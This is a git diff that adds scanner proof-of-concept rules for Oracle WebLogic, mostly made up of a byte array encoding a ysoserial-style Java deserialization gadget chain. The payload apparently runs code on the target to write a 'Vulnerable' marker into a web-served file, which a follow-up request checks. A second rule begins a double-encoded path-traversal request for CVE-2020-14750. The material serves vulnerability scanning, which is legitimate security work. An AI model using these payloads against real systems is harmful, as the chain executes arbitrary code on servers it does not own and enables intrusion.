+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 71
+
+
+ 0
+
+
+ 72
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 73
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 46
+
+
+ 46
+
+
+ 47
+
+
+ 46
+
+
+ 46
+
+
+ 47
+
+
+ 102
+
+
+ 97
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 99
+
+
+ 111
+
+
+ 8
+
+
+ 0
+
+
+ 75
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 12
+
+
+ 0
+
+
+ 77
+
+
+ 0
+
+
+ 68
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 81
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 83
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 86
+
+
+ 117
+
+
+ 108
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 85
+
+
+ 10
+
+
+ 0
+
+
+ 84
+
+
+ 0
+
+
+ 81
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 88
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 71
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 93
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 94
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 51
+
+
+ 57
+
+
+ 56
+
+
+ 52
+
+
+ 50
+
+
+ 51
+
+
+ 48
+
+
+ 50
+
+
+ 48
+
+
+ 50
+
+
+ 52
+
+
+ 51
+
+
+ 53
+
+
+ 48
+
+
+ 51
+
+
+ 1
+
+
+ 0
+
+
+ 32
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 51
+
+
+ 57
+
+
+ 56
+
+
+ 52
+
+
+ 50
+
+
+ 51
+
+
+ 48
+
+
+ 50
+
+
+ 48
+
+
+ 50
+
+
+ 52
+
+
+ 51
+
+
+ 53
+
+
+ 48
+
+
+ 51
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 46
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -69
+
+
+ 0
+
+
+ 43
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 45
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 46
+
+
+ -72
+
+
+ 0
+
+
+ 52
+
+
+ -74
+
+
+ 0
+
+
+ 56
+
+
+ 18
+
+
+ 58
+
+
+ -74
+
+
+ 0
+
+
+ 64
+
+
+ -74
+
+
+ 0
+
+
+ 70
+
+
+ -74
+
+
+ 0
+
+
+ 74
+
+
+ 18
+
+
+ 76
+
+
+ -74
+
+
+ 0
+
+
+ 74
+
+
+ -74
+
+
+ 0
+
+
+ 79
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ -69
+
+
+ 0
+
+
+ 84
+
+
+ 89
+
+
+ 18
+
+
+ 86
+
+
+ -73
+
+
+ 0
+
+
+ 87
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ 95
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 54
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 8
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 202'
+ - method: GET
+ path: /_async/favicon.ico
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")'
\ No newline at end of file
diff --git a/core/pocScan/pocs/weblogic-cve-2020-14750.yml b/core/pocScan/pocs/weblogic-cve-2020-14750.yml
new file mode 100644
index 0000000..7129c38
--- /dev/null
+++ b/core/pocScan/pocs/weblogic-cve-2020-14750.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-weblogic-cve-2020-14750
+rules:
+ - method: GET
+ path: /console/images/%252E./console.portal
